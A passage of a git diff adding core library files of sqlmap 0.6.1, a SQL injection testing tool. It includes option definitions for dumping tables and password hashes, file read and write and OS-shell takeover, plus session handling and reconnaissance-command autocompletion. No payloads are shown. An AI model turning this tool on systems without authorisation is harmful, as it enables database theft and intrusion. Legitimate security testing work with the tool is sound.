+ __setConfAttributes()
+ __setKnowledgeBaseAttributes()
+ __cleanupOptions()
+ __setHTTPCookies()
+ __setHTTPReferer()
+ __setHTTPUserAgent()
+ __setHTTPMethod()
+ __setHTTPAuthentication()
+ __setHTTPProxy()
+ __setThreads()
+ __setRemoteDBMS()
+ __setGoogleDorking()
+ __urllib2Opener()
+
+ update()
+ queriesParser()
diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py
new file mode 100644
index 000000000..da86c5fd3
--- /dev/null
+++ b/lib/core/optiondict.py
@@ -0,0 +1,95 @@
+#!/usr/bin/env python
+
+"""
+$Id: optiondict.py 368 2008-09-30 00:09:59Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+optDict = {
+ # Family: { "parameter_name": "parameter_datatype",
+ "Request": {
+ "url": "string",
+ "googleDork": "string",
+ "testParameter": "string",
+ "method": "string",
+ "data": "string",
+ "cookie": "string",
+ "referer": "string",
+ "agent": "string",
+ "userAgentsFile": "string",
+ "aType": "string",
+ "aCred": "string",
+ "proxy": "string",
+ "threads": "integer",
+ },
+
+ "Injection": {
+ "string": "string",
+ "dbms": "string",
+ },
+
+ "Fingerprint": {
+ "extensiveFp": "boolean",
+ },
+
+ "Enumeration": {
+ "getBanner": "boolean",
+ "getCurrentUser": "boolean",
+ "getCurrentDb": "boolean",
+ "getUsers": "boolean",
+ "getPasswordHashes": "boolean",
+ "getPrivileges": "boolean",
+ "getDbs": "boolean",
+ "getTables": "boolean",
+ "getColumns": "boolean",
+ "dumpTable": "boolean",
+ "dumpAll": "boolean",
+ "user": "string",
+ "db": "string",
+ "tbl": "string",
+ "col": "string",
+ "excludeSysDbs": "boolean",
+ "limitStart": "integer",
+ "limitStop": "integer",
+ "query": "string",
+ "sqlShell": "boolean",
+ },
+
+ "File system": {
+ "rFile": "string",
+ "wFile": "string",
+ },
+
+ "Takeover": {
+ "osShell": "boolean",
+ },
+
+ "Miscellaneous": {
+ "unionTest": "boolean",
+ "unionUse": "boolean",
+ "eta": "boolean",
+ "verbose": "integer",
+ "updateAll": "boolean",
+ "sessionFile": "string",
+ "batch": "boolean",
+ },
+ }
diff --git a/lib/core/progress.py b/lib/core/progress.py
new file mode 100644
index 000000000..b6116482a
--- /dev/null
+++ b/lib/core/progress.py
@@ -0,0 +1,111 @@
+#!/usr/bin/env python
+
+"""
+$Id: progress.py 214 2008-07-14 14:17:06Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+from lib.core.common import dataToStdout
+
+
+class ProgressBar:
+ """
+ This class defines methods to update and draw a progress bar
+ """
+
+ def __init__(self, minValue=0, maxValue=10, totalWidth=54):
+ self.__progBar = "[]"
+ self.__oldProgBar = ""
+ self.__min = minValue
+ self.__max = maxValue
+ self.__span = maxValue - minValue
+ self.__width = totalWidth
+ self.__amount = 0
+ self.update()
+
+
+ def __convertSeconds(self, value):
+ seconds = value
+ minutes = seconds / 60
+ seconds = seconds - (minutes * 60)
+
+ return "%.2d:%.2d" % (minutes, seconds)
+
+
+ def update(self, newAmount=0):
+ """
+ This method updates the progress bar
+ """
+
+ if newAmount < self.__min:
+ newAmount = self.__min
+ elif newAmount > self.__max:
+ newAmount = self.__max
+
+ self.__amount = newAmount
+
+ # Figure out the new percent done, round to an integer
+ diffFromMin = float(self.__amount - self.__min)
+ percentDone = (diffFromMin / float(self.__span)) * 100.0
+ percentDone = round(percentDone)
+ percentDone = int(percentDone)
+
+ # Figure out how many hash bars the percentage should be
+ allFull = self.__width - 2
+ numHashes = (percentDone / 100.0) * allFull
+ numHashes = int(round(numHashes))
+
+ # Build a progress bar with an arrow of equal signs
+ if numHashes == 0:
+ self.__progBar = "[>%s]" % (" " * (allFull - 1))
+ elif numHashes == allFull:
+ self.__progBar = "[%s]" % ("=" * allFull)
+ else:
+ self.__progBar = "[%s>%s]" % ("=" * (numHashes - 1),
+ " " * (allFull - numHashes))
+
+ # Add the percentage at the beginning of the progress bar
+ percentString = str(percentDone) + "%"
+ self.__progBar = "%s %s" % (percentString, self.__progBar)
+
+
+ def draw(self, eta=0):
+ """
+ This method draws the progress bar if it has changed
+ """
+
+ if self.__progBar != self.__oldProgBar:
+ self.__oldProgBar = self.__progBar
+
+ if eta and self.__amount < self.__max:
+ dataToStdout("\r%s %d/%d ETA %s" % (self.__progBar, self.__amount, self.__max, self.__convertSeconds(int(eta))))
+ else:
+ blank = " " * (80 - len("\r%s %d/%d" % (self.__progBar, self.__amount, self.__max)))
+ dataToStdout("\r%s %d/%d%s" % (self.__progBar, self.__amount, self.__max, blank))
+
+
+ def __str__(self):
+ """
+ This method returns the progress bar string
+ """
+
+ return str(self.__progBar)
diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py
new file mode 100644
index 000000000..2c8c3b31c
--- /dev/null
+++ b/lib/core/readlineng.py
@@ -0,0 +1,94 @@
+#!/usr/bin/env python
+
+"""
+$Id: readlineng.py 326 2008-08-27 12:20:15Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Based on IPython readline library (IPython/rlineimpl.py), imports and
+provides the "correct" version of readline for the platform.
+In addition to normal readline stuff, this module provides haveReadline
+boolean and _outputfile variable used in genutils.
+"""
+
+
+
+import sys
+
+
+from lib.core.data import logger
+
+
+try:
+ from readline import *
+ import readline as _rl
+
+ haveReadline = True
+except ImportError:
+ try:
+ from pyreadline import *
+ import pyreadline as _rl
+
+ haveReadline = True
+ except ImportError:
+ haveReadline = False
+
+if sys.platform == 'win32' and haveReadline:
+ try:
+ _outputfile=_rl.GetOutputFile()
+ except AttributeError:
+ debugMsg = "Failed GetOutputFile when using platform's "
+ debugMsg += "readline library"
+ logger.debug(debugMsg)
+
+ haveReadline = False
+
+# Test to see if libedit is being used instead of GNU readline.
+# Thanks to Boyd Waters for this patch.
+uses_libedit = False
+
+if sys.platform == 'darwin' and haveReadline:
+ import commands
+
+ (status, result) = commands.getstatusoutput( "otool -L %s | grep libedit" % _rl.__file__ )
+
+ if status == 0 and len(result) > 0:
+ # We are bound to libedit - new in Leopard
+ _rl.parse_and_bind("bind ^I rl_complete")
+
+ debugMsg = "Leopard libedit detected when using platform's "
+ debugMsg += "readline library"
+ logger.debug(debugMsg)
+
+ uses_libedit = True
+
+
+# the clear_history() function was only introduced in Python 2.4 and is
+# actually optional in the readline API, so we must explicitly check for its
+# existence. Some known platforms actually don't have it. This thread:
+# http://mail.python.org/pipermail/python-dev/2003-August/037845.html
+# has the original discussion.
+if haveReadline:
+ try:
+ _rl.clear_history
+ except AttributeError:
+ def clear_history():
+ pass
+
+ _rl.clear_history = clear_history
diff --git a/lib/core/session.py b/lib/core/session.py
new file mode 100644
index 000000000..a6b802761
--- /dev/null
+++ b/lib/core/session.py
@@ -0,0 +1,282 @@
+#!/usr/bin/env python
+
+"""
+$Id: session.py 368 2008-09-30 00:09:59Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+import re
+
+from lib.core.common import dataToSessionFile
+from lib.core.common import readInput
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.settings import MSSQL_ALIASES
+from lib.core.settings import MYSQL_ALIASES
+
+def setString():
+ """
+ Save string to match in session file.
+ """
+
+ condition = (
+ conf.sessionFile and ( not kb.resumedQueries
+ or ( kb.resumedQueries.has_key(conf.url) and
+ not kb.resumedQueries[conf.url].has_key("String") ) )
+ )
+
+ if condition:
+ dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string))
+
+
+def setInjection():
+ """
+ Save information retrieved about injection place and parameter in the
+ session file.
+ """
+
+ if kb.injPlace == "User-Agent":
+ kb.injParameter = conf.agent
+
+ condition = (
+ kb.injPlace and kb.injParameter and
+ conf.sessionFile and ( not kb.resumedQueries
+ or ( kb.resumedQueries.has_key(conf.url) and
+ ( not kb.resumedQueries[conf.url].has_key("Injection point")
+ or not kb.resumedQueries[conf.url].has_key("Injection parameter")
+ or not kb.resumedQueries[conf.url].has_key("Injection type")
+ ) ) )
+ )
+
+ if condition:
+ dataToSessionFile("[%s][%s][%s][Injection point][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injPlace))
+ dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injParameter))
+ dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injType))
+
+
+def setParenthesis(parenthesisCount):
+ """
+ @param parenthesisCount: number of parenthesis to be set into the
+ knowledge base as fingerprint.
+ @type parenthesisCount: C{int}
+ """
+
+ condition = (
+ conf.sessionFile and ( not kb.resumedQueries
+ or ( kb.resumedQueries.has_key(conf.url) and
+ not kb.resumedQueries[conf.url].has_key("Parenthesis") ) )
+ )
+
+ if condition:
+ dataToSessionFile("[%s][%s][%s][Parenthesis][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], parenthesisCount))
+
+ kb.parenthesis = parenthesisCount
+
+
+def setDbms(dbms):
+ """
+ @param dbms: database management system to be set into the knowledge
+ base as fingerprint.
+ @type dbms: C{str}
+ """
+
+ condition = (
+ conf.sessionFile and ( not kb.resumedQueries
+ or ( kb.resumedQueries.has_key(conf.url) and
+ not kb.resumedQueries[conf.url].has_key("DBMS") ) )
+ )
+
+ if condition:
+ dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], dbms))
+
+ firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
+ "|".join([alias for alias in MYSQL_ALIASES]))
+ dbmsRegExp = re.search("^%s" % firstRegExp, dbms, re.I)
+
+ if dbmsRegExp:
+ dbms = dbmsRegExp.group(1)
+
+ kb.dbms = dbms
+
+
+def setUnion(comment=None, count=None, position=None):
+ """
+ @param comment: union comment to save in session file
+ @type comment: C{str}
+
+ @param count: union count to save in session file
+ @type count: C{str}
+
+ @param position: union position to save in session file
+ @type position: C{str}
+ """
+
+ if comment and count:
+ condition = (
+ conf.sessionFile and ( not kb.resumedQueries
+ or ( kb.resumedQueries.has_key(conf.url) and
+ ( not kb.resumedQueries[conf.url].has_key("Union comment")
+ or not kb.resumedQueries[conf.url].has_key("Union count")
+ ) ) )
+ )
+
+ if condition:
+ dataToSessionFile("[%s][%s][%s][Union comment][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], comment))
+ dataToSessionFile("[%s][%s][%s][Union count][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], count))
+
+ kb.unionComment = comment
+ kb.unionCount = count
+
+ elif position:
+ condition = (
+ conf.sessionFile and ( not kb.resumedQueries
+ or ( kb.resumedQueries.has_key(conf.url) and
+ ( not kb.resumedQueries[conf.url].has_key("Union position")
+ ) ) )
+ )
+
+ if condition:
+ dataToSessionFile("[%s][%s][%s][Union position][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], position))
+
+ kb.unionPosition = position
+
+
+def resumeConfKb(expression, url, value):
+ if expression == "String" and url == conf.url:
+ string = value[:-1]
+
+ logMsg = "resuming string match '%s' from session file" % string
+ logger.info(logMsg)
+
+ if string and ( not conf.string or string != conf.string ):
+ if not conf.string:
+ message = "you did not provide any string to match. "
+ else:
+ message = "The string you provided does not match "
+ message += "the resumed string. "
+
+ message += "Do you want to use the resumed string "
+ message += "to be matched in page when the query "
+ message += "is valid? [Y/n] "
+ test = readInput(message, default="Y")
+
+ if not test or test[0] in ("y", "Y"):
+ conf.string = string
+
+ elif expression == "Injection point" and url == conf.url:
+ injPlace = value[:-1]
+
+ logMsg = "resuming injection point '%s' from session file" % injPlace
+ logger.info(logMsg)
+
+ if not conf.paramDict.has_key(injPlace):
+ warnMsg = "none of the parameters you provided "
+ warnMsg += "matches the resumable injection point. "
+ warnMsg += "sqlmap is going to reidentify the "
+ warnMsg += "injectable point"
+ logger.warn(warnMsg)
+ else:
+ kb.injPlace = injPlace
+
+ elif expression == "Injection parameter" and url == conf.url:
+ injParameter = value[:-1]
+
+ logMsg = "resuming injection parameter '%s' from session file" % injParameter
+ logger.info(logMsg)
+
+ condition = (
+ not conf.paramDict.has_key(kb.injPlace) or
+ not conf.paramDict[kb.injPlace].has_key(injParameter)
+ )
+
+ if condition:
+ warnMsg = "none of the parameters you provided "
+ warnMsg += "matches the resumable injection parameter. "
+ warnMsg += "sqlmap is going to reidentify the "
+ warnMsg += "injectable point"
+ logger.warn(warnMsg)
+ else:
+ kb.injParameter = injParameter
+
+ elif expression == "Injection type" and url == conf.url:
+ kb.injType = value[:-1]
+
+ logMsg = "resuming injection type '%s' from session file" % kb.injType
+ logger.info(logMsg)
+
+ elif expression == "Parenthesis" and url == conf.url:
+ kb.parenthesis = int(value[:-1])
+
+ logMsg = "resuming %d number of " % kb.parenthesis
+ logMsg += "parenthesis from session file"
+ logger.info(logMsg)
+
+ elif expression == "DBMS" and url == conf.url:
+ dbms = value[:-1]
+
+ logMsg = "resuming back-end DBMS '%s' " % dbms
+ logMsg += "from session file"
+ logger.info(logMsg)
+
+ dbms = dbms.lower()
+ firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
+ "|".join([alias for alias in MYSQL_ALIASES]))
+ dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, dbms)
+
+ if dbmsRegExp:
+ dbms = dbmsRegExp.group(1)
+ kb.dbmsVersion = [dbmsRegExp.group(2)]
+
+ if conf.dbms and conf.dbms.lower() != dbms:
+ message = "you provided '%s' as back-end DBMS, " % conf.dbms
+ message += "but from a past scan information on the target URL "
+ message += "sqlmap assumes the back-end DBMS is %s. " % dbms
+ message += "Do you really want to force the back-end "
+ message += "DBMS value? [y/N] "
+ test = readInput(message, default="N")
+
+ if not test or test[0] in ("n", "N"):
+ conf.dbms = dbms
+ else:
+ conf.dbms = dbms
+
+ elif expression == "Union comment" and url == conf.url:
+ kb.unionComment = value[:-1]
+
+ logMsg = "resuming union comment "
+ logMsg += "'%s' from session file" % kb.unionComment
+ logger.info(logMsg)
+
+ elif expression == "Union count" and url == conf.url:
+ kb.unionCount = int(value[:-1])
+
+ logMsg = "resuming union count "
+ logMsg += "%s from session file" % kb.unionCount
+ logger.info(logMsg)
+
+ elif expression == "Union position" and url == conf.url:
+ kb.unionPosition = int(value[:-1])
+
+ logMsg = "resuming union position "
+ logMsg += "%s from session file" % kb.unionPosition
+ logger.info(logMsg)
diff --git a/lib/core/settings.py b/lib/core/settings.py
new file mode 100644
index 000000000..822bd117c
--- /dev/null
+++ b/lib/core/settings.py
@@ -0,0 +1,66 @@
+#!/usr/bin/env python
+
+"""
+$Id: settings.py 373 2008-10-03 10:08:39Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+import logging
+import os
+import sys
+
+
+# sqlmap version and site
+VERSION = "0.6.1"
+VERSION_STRING = "sqlmap/%s" % VERSION
+SITE = "http://sqlmap.sourceforge.net"
+
+# sqlmap logger
+logging.addLevelName(9, "TRAFFIC OUT")
+logging.addLevelName(8, "TRAFFIC IN")
+LOGGER = logging.getLogger("sqlmapLog")
+LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
+FORMATTER = logging.Formatter("[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S")
+
+LOGGER_HANDLER.setFormatter(FORMATTER)
+LOGGER.addHandler(LOGGER_HANDLER)
+LOGGER.setLevel(logging.WARN)
+
+# Url to update Microsoft SQL Server XML versions file from
+MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
+
+# Url to update sqlmap from
+SQLMAP_VERSION_URL = "%s/doc/VERSION" % SITE
+SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip"
+
+# Database managemen system specific variables
+MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
+MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" )
+PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" )
+ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" )
+
+MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
+MYSQL_ALIASES = [ "mysql", "my" ]
+PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
+ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
+
+SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
diff --git a/lib/core/shell.py b/lib/core/shell.py
new file mode 100644
index 000000000..d56ce414f
--- /dev/null
+++ b/lib/core/shell.py
@@ -0,0 +1,103 @@
+#!/usr/bin/env python
+
+"""
+$Id: shell.py 259 2008-07-20 22:25:50Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+import atexit
+import os
+import rlcompleter
+
+from lib.core import readlineng as readline
+from lib.core.data import kb
+from lib.core.data import paths
+from lib.core.data import queries
+
+
+def saveHistory():
+ historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
+ readline.write_history_file(historyPath)
+
+
+def loadHistory():
+ historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
+
+ if os.path.exists(historyPath):
+ readline.read_history_file(historyPath)
+
+
+def queriesForAutoCompletion():
+ autoComplQueries = {}
+
+ for _, query in queries[kb.dbms].items():
+ if isinstance(query, str) and len(query) > 1:
+ autoComplQuery = query
+ elif isinstance(query, dict) and "inband" in query:
+ autoComplQuery = query["inband"]["query"]
+
+ autoComplQueries[autoComplQuery] = None
+
+ return autoComplQueries
+
+
+class CompleterNG(rlcompleter.Completer):
+ def global_matches(self, text):
+ """
+ Compute matches when text is a simple name.
+ Return a list of all names currently defined in self.namespace
+ that match.
+ """
+
+ matches = []
+ n = len(text)
+
+ for list in [ self.namespace ]:
+ for word in list:
+ if word[:n] == text:
+ matches.append(word)
+
+ return matches
+
+
+def autoCompletion(sqlShell=False, osShell=False):
+ # First of all we check if the readline is available, by default
+ # it is not in Python default installation on Windows
+ if not readline.haveReadline:
+ return
+
+ if sqlShell:
+ completer = CompleterNG(queriesForAutoCompletion())
+ elif osShell:
+ # TODO: add more operating system commands; differentiate commands
+ # based on future operating system fingerprint
+ completer = CompleterNG({
+ "id": None, "ifconfig": None, "ls": None,
+ "netstat -natu": None, "pwd": None,
+ "uname": None, "whoami": None,
+ })
+
+ readline.set_completer(completer.complete)
+ readline.parse_and_bind("tab: complete")
+
+ loadHistory()
+ atexit.register(saveHistory)
diff --git a/lib/core/target.py b/lib/core/target.py
new file mode 100644
index 000000000..cd92ee598
--- /dev/null
+++ b/lib/core/target.py
@@ -0,0 +1,218 @@
+#!/usr/bin/env python
+
+"""
+$Id: target.py 294 2008-07-28 23:30:15Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+import os
+import re
+import time
+
+from lib.core.common import dataToSessionFile
+from lib.core.common import paramToDict
+from lib.core.common import parseTargetUrl
+from lib.core.common import readInput
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.data import paths
+from lib.core.dump import dumper
+from lib.core.exception import sqlmapFilePathException
+from lib.core.exception import sqlmapGenericException
+from lib.core.exception import sqlmapSyntaxException
+from lib.core.session import resumeConfKb
+
+
+def __setRequestParams():
+ """
+ Check and set the parameters and perform checks on 'data' option for
+ HTTP method POST.
+ """
+
+ __testableParameters = False
+
+ # Perform checks on GET parameters
+ if conf.parameters.has_key("GET") and conf.parameters["GET"]:
+ parameters = conf.parameters["GET"]
+ __paramDict = paramToDict("GET", parameters)
+
+ if __paramDict:
+ conf.paramDict["GET"] = __paramDict
+ __testableParameters = True
+
+ # Perform checks on POST parameters
+ if conf.method == "POST" and not conf.data:
+ errMsg = "HTTP POST method depends on HTTP data value to be posted"
+ raise sqlmapSyntaxException, errMsg
+
+ if conf.data:
+ conf.parameters["POST"] = conf.data
+ __paramDict = paramToDict("POST", conf.data)
+
+ if __paramDict:
+ conf.paramDict["POST"] = __paramDict
+ __testableParameters = True
+
+ # Perform checks on Cookie parameters
+ if conf.cookie:
+ conf.parameters["Cookie"] = conf.cookie
+ __paramDict = paramToDict("Cookie", conf.cookie)
+
+ if __paramDict:
+ conf.paramDict["Cookie"] = __paramDict
+ __testableParameters = True
+
+ # Perform checks on User-Agent header value
+ if conf.httpHeaders:
+ for httpHeader, headerValue in conf.httpHeaders:
+ if httpHeader == "User-Agent":
+ conf.parameters["User-Agent"] = headerValue
+
+ condition = not conf.testParameter
+ condition |= "User-Agent" in conf.testParameter
+ condition |= "user-agent" in conf.testParameter
+ condition |= "useragent" in conf.testParameter
+ condition |= "ua" in conf.testParameter
+
+ if condition:
+ conf.paramDict["User-Agent"] = { "User-Agent": headerValue }
+ __testableParameters = True
+
+ if not conf.parameters:
+ errMsg = "you did not provide any GET, POST and Cookie "
+ errMsg += "parameter, neither an User-Agent header"
+ raise sqlmapGenericException, errMsg
+
+ elif not __testableParameters:
+ errMsg = "all testable parameters you provided are not present "
+ errMsg += "within the GET, POST and Cookie parameters"
+ raise sqlmapGenericException, errMsg
+
+
+def __setOutputResume():
+ """
+ Check and set the output text file and the resume functionality.
+ """
+
+ if conf.sessionFile and os.path.exists(conf.sessionFile):
+ readSessionFP = open(conf.sessionFile, "r")
+ lines = readSessionFP.readlines()
+
+ for line in lines:
+ if line.count("][") == 4:
+ line = line.split("][")
+
+ if len(line) != 5:
+ continue
+
+ url, _, _, expression, value = line
+
+ if not value:
+ continue
+
+ if url[0] == "[":
+ url = url[1:]
+
+ if value[-1] == "\n":
+ value = value[:-1]
+
+ if url != conf.url:
+ continue
+
+ if url not in kb.resumedQueries.keys():
+ kb.resumedQueries[url] = {}
+ kb.resumedQueries[url][expression] = value
+
+ resumeConfKb(expression, url, value)
+
+ if expression not in kb.resumedQueries[url].keys():
+ kb.resumedQueries[url][expression] = value
+ elif len(value) >= len(kb.resumedQueries[url][expression]):
+ kb.resumedQueries[url][expression] = value
+
+ readSessionFP.close()
+
+ if conf.sessionFile:
+ try:
+ conf.sessionFP = open(conf.sessionFile, "a")
+ dataToSessionFile("\n[%s]\n" % time.strftime("%X %x"))
+ except IOError:
+ errMsg = "unable to write on the session file specified"
+ raise sqlmapFilePathException, errMsg
+
+
+def __createFilesDir():
+ """
+ Create the file directory.
+ """
+
+ if not conf.rFile:
+ return
+
+ conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname
+
+ if not os.path.isdir(conf.filePath):
+ os.makedirs(conf.filePath, 0755)
+
+
+def __createDumpDir():
+ """
+ Create the dump directory.
+ """
+
+ if not conf.dumpTable and not conf.dumpAll:
+ return
+
+ conf.dumpPath = paths.SQLMAP_DUMP_PATH % conf.hostname
+
+ if not os.path.isdir(conf.dumpPath):
+ os.makedirs(conf.dumpPath, 0755)
+
+
+def initTargetEnv():
+ """
+ Initialize target environment.
+ """
+
+ parseTargetUrl()
+ __setRequestParams()
+ __setOutputResume()
+
+
+def createTargetDirs():
+ """
+ Create the output directory.
+ """
+
+ conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname)
+
+ if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
+ os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
+
+ if not os.path.isdir(conf.outputPath):
+ os.makedirs(conf.outputPath, 0755)
+
+ dumper.setOutputFile()
+
+ __createDumpDir()
+ __createFilesDir()
diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py
new file mode 100644
index 000000000..6712efb01
--- /dev/null
+++ b/lib/core/unescaper.py
@@ -0,0 +1,40 @@
+#!/usr/bin/env python
+
+"""
+$Id: unescaper.py 214 2008-07-14 14:17:06Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+class Unescaper:
+ def __init__(self):
+ self.__unescaper = None
+
+
+ def setUnescape(self, unescapeFunction):
+ self.__unescaper = unescapeFunction
+
+
+ def unescape(self, expression):
+ return self.__unescaper(expression)
+
+
+unescaper = Unescaper()
diff --git a/lib/core/update.py b/lib/core/update.py
new file mode 100644
index 000000000..f1f213813
--- /dev/null
+++ b/lib/core/update.py
@@ -0,0 +1,337 @@
+#!/usr/bin/env python
+
+"""
+$Id: update.py 368 2008-09-30 00:09:59Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
